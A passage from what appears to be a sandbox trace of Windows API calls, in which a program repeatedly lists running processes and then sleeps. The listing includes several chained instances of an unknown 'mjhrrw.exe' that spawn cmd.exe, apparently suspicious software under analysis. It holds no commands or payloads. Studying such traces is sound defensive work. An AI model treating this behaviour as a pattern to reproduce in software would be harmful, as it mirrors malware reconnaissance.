szExeFile="lsass.exe")) returned 1 [0278.773] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.774] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.775] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.776] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.777] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.778] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.778] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.779] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.780] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.781] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.781] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.782] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.783] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.784] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.784] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.785] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.785] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.786] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.786] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.787] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0278.788] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0278.788] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.789] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.790] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.790] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.791] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.792] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.793] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.793] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0278.794] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0278.795] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0278.795] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.936] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0278.936] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.937] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.938] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0278.938] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.939] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.939] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.940] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.941] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.941] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.942] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0278.943] CloseHandle (hObject=0x2dc) returned 1 [0278.943] Sleep (dwMilliseconds=0x1f4) [0279.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0279.772] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.773] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.774] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.775] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.775] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.776] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.777] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.777] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.778] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.779] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.780] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.780] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.781] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.782] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.782] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.783] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.784] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.784] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.785] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.786] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.786] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.787] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.788] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.788] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.789] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.790] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.790] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.791] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.791] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0279.792] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0279.793] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.793] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.794] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.795] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.795] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.796] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.796] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.797] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0279.798] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0279.798] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0279.799] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, 